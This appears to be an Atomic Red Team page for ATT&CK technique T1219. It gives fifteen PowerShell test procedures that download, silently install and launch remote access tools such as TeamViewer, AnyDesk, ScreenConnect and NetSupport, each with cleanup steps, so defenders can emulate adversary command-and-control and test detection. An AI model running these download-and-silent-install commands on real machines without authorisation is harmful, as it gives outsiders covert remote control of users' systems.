T1219

Description from ATT&CK

An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.

Remote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.

Installation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)

Source

Atomic Tests

Atomic Test #1: TeamViewer Files Detected Test on Windows
Atomic Test #2: AnyDesk Files Detected Test on Windows
Atomic Test #3: LogMeIn Files Detected Test on Windows
Atomic Test #4: GoToAssist Files Detected Test on Windows
Atomic Test #5: ScreenConnect Application Download and Install on Windows
Atomic Test #6: Ammyy Admin Software Execution
Atomic Test #7: RemotePC Software Execution
Atomic Test #8: NetSupport - RAT Execution
Atomic Test #9: UltraViewer - RAT Execution
Atomic Test #10: UltraVNC Execution
Atomic Test #11: MSP360 Connect Execution
Atomic Test #12: RustDesk Files Detected Test on Windows
Atomic Test #13: Splashtop Execution
Atomic Test #14: Splashtop Streamer Execution
Atomic Test #15: Microsoft App Quick Assist Execution

Atomic Test #1: TeamViewer Files Detected Test on Windows

An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Start-Process -Wait $file1 /S;
Start-Process 'C:\Program Files (x86)\TeamViewer\TeamViewer.exe'

Cleanup Commands

$file = 'C:\Program Files (x86)\TeamViewer\uninstall.exe'
if(Test-Path $file){ Start-Process $file "/S" -ErrorAction Ignore | Out-Null }
$file1 = "C:\Users\" + $env:username + "\Desktop\TeamViewer_Setup.exe"
Remove-Item $file1 -ErrorAction Ignore | Out-Null

Atomic Test #2: AnyDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 6b8b7391-5c0a-4f8c-baee-78d8ce0ce330

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe
$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Start-Process $file1 /S;

Cleanup Commands

$file1 = "C:\Users\" + $env:username + "\Desktop\AnyDesk.exe"
Remove-Item $file1 -ErrorAction Ignore

Atomic Test #3: LogMeIn Files Detected Test on Windows

An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: d03683ec-aae0-42f9-9b4c-534780e0f8e1

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Invoke-WebRequest -OutFile C:\Users\$env:username\Desktop\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Start-Process -Wait $file1 /quiet;
Start-Process 'C:\Program Files (x86)\LogMeIn Ignition\LMIIgnition.exe' "/S"

Cleanup Commands

get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package
$file1 = "C:\Users\" + $env:username + "\Desktop\LogMeInIgnition.msi"
Remove-Item $file1 -ErrorAction Ignore

Atomic Test #4: GoToAssist Files Detected Test on Windows

An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.

Supported Platforms: Windows

auto_generated_guid: 1b72b3bd-72f8-4b63-a30b-84e91b9c3578

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Invoke-WebRequest -OutFile C:\Users\$env:username\Downloads\GoToAssist.exe "https://launch.getgo.com/launcher2/helper?token=e0-FaCddxmtMoX8_cY4czssnTeGvy83ihp8CLREfvwQshiBW0_RcbdoaEp8IA-Qn8wpbKlpGIflS-39gW6RuWRM-XHwtkRVMLBsp5RSKp-a3PBM-Pb1Fliy73EDgoaxr-q83WtXbLKqD7-u3cfDl9gKsymmhdkTGsXcDXir90NqKj92LsN_KpyYwV06lIxsdRekhNZjNwhkWrBa_hG8RQJqWSGk6tkZLVMuMufmn37eC2Cqqiwq5bCGnH5dYiSUUsklSedRLjh4N46qPYT1bAU0qD25ZPr-Kvf4Kzu9bT02q3Yntj02ZA99TxL2-SKzgryizoopBPg4Ilfo5t78UxKTYeEwo4etQECfkCRvenkTRlIHmowdbd88zz7NiccXnbHJZehgs6_-JSVjQIdPTXZbF9T5z44mi4BQYMtZAS3DE86F0C3D4Tcd7fa5F6Ve8rQWt7pvqFCYyiJAailslxOw0LsGyFokoy65tMF980ReP8zhVcTKYP8s8mhGXihUQJQPNk20Sw&downloadTrigger=restart&renameFile=1"
$file1 = "C:\Users\" + $env:username + "\Downloads\GoToAssist.exe"
Start-Process $file1 /S;

Cleanup Commands

try{"$PathToAtomicsFolder/T1219/bin/GoToCleanup.ps1"} catch{}

Atomic Test #5: ScreenConnect Application Download and Install on Windows

An adversary may attempt to trick the user into downloading ScreenConnect for use as a C2 channel. Download of ScreenConnect installer will be in the Downloads directory. Msiexec will be used to quietly insall ScreenConnect.

Supported Platforms: Windows

auto_generated_guid: 4a18cc4e-416f-4966-9a9d-75731c4684c0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
Invoke-WebRequest -OutFile $installer "https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi"
msiexec /i $installer /qn

Cleanup Commands

$installer = "C:\Users\$env:username\Downloads\ScreenConnect.msi"
msiexec /x $installer /qn

Atomic Test #6: Ammyy Admin Software Execution

An adversary may attempt to trick the user into downloading Ammyy Admin Remote Desktop Software for use as a C2 channel. Upon successful execution, Ammyy Admin will be executed.

Supported Platforms: Windows

auto_generated_guid: 0ae9e327-3251-465a-a53b-485d4e3f58fa

Inputs

Name	Description	Type	Default Value
Ammyy_Admin_Path	Path of Ammyy Admin executable	path	PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process "#{Ammyy_Admin_Path}"

Cleanup Commands

Stop-Process -Name "Ammyy" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: Ammyy Admin must exist on disk at the specified location (#{Ammyy_Admin_Path})

Check Prereq Commands

if (Test-Path "#{Ammyy_Admin_Path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://web.archive.org/web/20140625232737/http://www.ammyy.com/AA_v3.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ammyy.exe" -UseBasicParsing

Atomic Test #7: RemotePC Software Execution

An adversary may attempt to trick the user into downloading RemotePC Software for use as a C2 channel. Upon successful execution, RemotePC will be executed.

Supported Platforms: Windows

auto_generated_guid: fbff3f1f-b0bf-448e-840f-7e1687affdce

Inputs

Name	Description	Type	Default Value
RemotePC_Path	Path of RemotePC executable	path	PathToAtomicsFolder\..\ExternalPayloads\RemotePC.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process "#{RemotePC_Path}"

Cleanup Commands

Unregister-ScheduledTask -TaskName "RemotePC" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "RPCServiceHealthCheck" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "ServiceMonitor" -Confirm:$False -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName "StartRPCService" -Confirm:$False -ErrorAction SilentlyContinue
Stop-Process -Name "RemotePCPerformance" -force -erroraction silentlycontinue
Stop-Process -Name "RPCPerformanceService" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCUIU" -force -erroraction silentlycontinue
Stop-Process -Name "RPCDownloader" -force -erroraction silentlycontinue
Stop-Process -Name "RemotePCService" -force -erroraction silentlycontinue
Stop-Process -Name "RPCService" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: RemotePC must exist on disk at the specified location (#{RemotePC_Path})

Check Prereq Commands

if (Test-Path "#{RemotePC_Path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://static.remotepc.com/downloads/rpc/140422/RemotePC.exe" -OutFile "#{RemotePC_Path}" -UseBasicParsing

Atomic Test #8: NetSupport - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as NetSupport to provide the operator with access to the network using legitimate services.

Supported Platforms: Windows

auto_generated_guid: ecca999b-e0c8-40e8-8416-ad320b146a75

Inputs

Name	Description	Type	Default Value
NetSupport_Path	Path to the NetSupport executable.	path	PathToAtomicsFolder\..\ExternalPayloads\T1219_NetSupport.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process "#{NetSupport_Path}" -ArgumentList "/S /v/qn"

Cleanup Commands

Stop-Process -Name "client32" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: NetSupport must be downloaded and exist on the disk at the specified location. (#{NetSupport_Path})

Check Prereq Commands

if (Test-Path "#{NetSupport_Path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://nsproducts.azureedge.net/nsm-1270/en/Setup.exe","#{NetSupport_Path}")

Atomic Test #9: UltraViewer - RAT Execution

A recent trend by threat actors, once a foothold is established, maintain long term persistence using third party remote services such as UltraViewer to provide the operator with access to the network using legitimate services.

Supported Platforms: Windows

auto_generated_guid: 19acf63b-55c4-4b6a-8552-00a8865105c8

Inputs

Name	Description	Type	Default Value
UltraViewer_Path	Path to the UltraViewer executable.	path	PathToAtomicsFolder\..\ExternalPayloads\T1219_UltraViewer.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process -Wait -FilePath "#{UltraViewer_Path}" -Argument "/silent" -PassThru
Start-Process 'C:\Program Files (x86)\UltraViewer\UltraViewer_Desktop.exe'

Cleanup Commands

Stop-Process -Name "UltraViewer_Desktop" -Force -ErrorAction SilentlyContinue

Dependencies: Run with `powershell`!

Description: Ultraviewer installer must be downloaded and exist on the disk at the specified location. (#{UltraViewer_Path})

Check Prereq Commands

if (Test-Path "#{UltraViewer_Path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
(New-Object Net.WebClient).DownloadFile("https://www.ultraviewer.net/en/UltraViewer_setup_6.5_en.exe","#{UltraViewer_Path}")

Atomic Test #10: UltraVNC Execution

An adversary may attempt to trick the user into downloading UltraVNC for use as a C2 channel. Upon successful execution, UltraVNC will be executed.

Supported Platforms: Windows

auto_generated_guid: 42e51815-a6cc-4c75-b970-3f0ff54b610e

Inputs

Name	Description	Type	Default Value
UltraVNC_Viewer_Path	Path of UltraVNC Viewer executable	path	$env:ProgramFiles\'uvnc bvba\UltraVnc\vncviewer.exe'

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process #{UltraVNC_Viewer_Path}

Cleanup Commands

Stop-Process -Name "vncviewer" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: UltraVNC must exist at (#{UltraVNC_Viewer_Path})

Check Prereq Commands

if (Test-Path #{UltraVNC_Viewer_Path}) {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://www.uvnc.eu/download/1381/UltraVNC_1_3_81_X64_Setup.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe"
start-process "PathToAtomicsFolder\..\ExternalPayloads\vncsetup.exe" /silent

Atomic Test #11: MSP360 Connect Execution

An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel. Upon successful execution, MSP360 Connect will be executed.

Supported Platforms: Windows

auto_generated_guid: b1b8128b-c5d4-4de9-bf70-e60419274562

Inputs

Name	Description	Type	Default Value
MSP360_Connect_Path	Path of MSP360 executable	path	$env:ProgramFiles\Connect\Connect.exe
MSP360_Download_Url	URL to download MSP360 Connect from	url

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process #{MSP360_Connect_Path}

Cleanup Commands

Stop-Process -Name "Connect" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: MSP360 must exist at (#{MSP360_Connect_Path})

Check Prereq Commands

if (Test-Path #{MSP360_Connect_Path}) {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" "#{MSP360_Download_Url}"
start-process "PathToAtomicsFolder\..\ExternalPayloads\msp360connect.exe" /S

Atomic Test #12: RustDesk Files Detected Test on Windows

An adversary may attempt to trick the user into downloading RustDesk and use this to maintain access to the machine. Download of RustDesk installer will be at the destination location when successfully executed.

Supported Platforms: Windows

auto_generated_guid: f1641ba9-919a-4323-b74f-33372333bf0e

Attack Commands: Run with `powershell`!

$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Invoke-WebRequest  -OutFile $file https://github.com/rustdesk/rustdesk/releases/download/1.2.3-1/rustdesk-1.2.3-1-x86_64.exe
Start-Process -FilePath $file "/S"

Cleanup Commands

$file = Join-Path $env:USERPROFILE "Desktop\rustdesk-1.2.3-1-x86_64.exe"
Remove-Item $file1 -ErrorAction Ignore

Atomic Test #13: Splashtop Execution

An adversary may attempt to trick the user into downloading Splashtop for use as a C2 channel. Upon successful execution, Splashtop will be executed.

Supported Platforms: Windows

auto_generated_guid: b025c580-029e-4023-888d-a42710d76934

Inputs

Name	Description	Type	Default Value
Splashtop_Path	Path of Splashtop executable	path	${env:programfiles(x86)}\Splashtop\Splashtop Remote\Client for STP\strwinclt.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process "#{Splashtop_Path}"

Cleanup Commands

Stop-Process -Name "strwinclt" -force -erroraction silentlycontinue

Dependencies: Run with `powershell`!

Description: Splashtop must exist at "#{Splashtop_Path}"

Check Prereq Commands

if (Test-Path "#{Splashtop_Path}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" "https://download.splashtop.com/winclient/STP/Splashtop_Personal_Win_v3.6.6.0.exe"
start-sleep 30
start-process "PathToAtomicsFolder\..\ExternalPayloads\splashtop_install.exe" /S
start-sleep 30

Atomic Test #14: Splashtop Streamer Execution

An adversary may attempt to use Splashtop Streamer to gain unattended remote interactive access. Upon successful execution, Splashtop streamer will be executed.

Supported Platforms: Windows

auto_generated_guid: 3e1858ee-3550-401c-86ec-5e70ed79295b

Inputs

Name	Description	Type	Default Value
srserver_exe	Splashtop streamer installation executables	string	SRServer.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process -FilePath "C:Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}"

if (Test-Path "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\#{srserver_exe}") {exit 0} else {exit 1}

Get Prereq Commands

Write-Host Downloading Splashtop Streamer
New-Item -Type Directory "C:\Temp\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.splashtop.com/win/Splashtop_Streamer_Win_INSTALLER_v3.6.4.1.exe" -OutFile  "C:\Temp\ExternalPayloads\Splashtop.exe"
Write-Host Installing Splashtop Streamer
Start-Process "c:\Temp\ExternalPayloads\Splashtop.exe" -Wait -ArgumentList "/s"

Atomic Test #15: Microsoft App Quick Assist Execution

An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine.

Supported Platforms: Windows

auto_generated_guid: 1aea6d15-70f1-4b4e-8b02-397b5d5ffe75

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

Start-Process "shell:AppsFolder\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App"

Cleanup Commands

Stop-Process -Name quickassist

T1219

On this page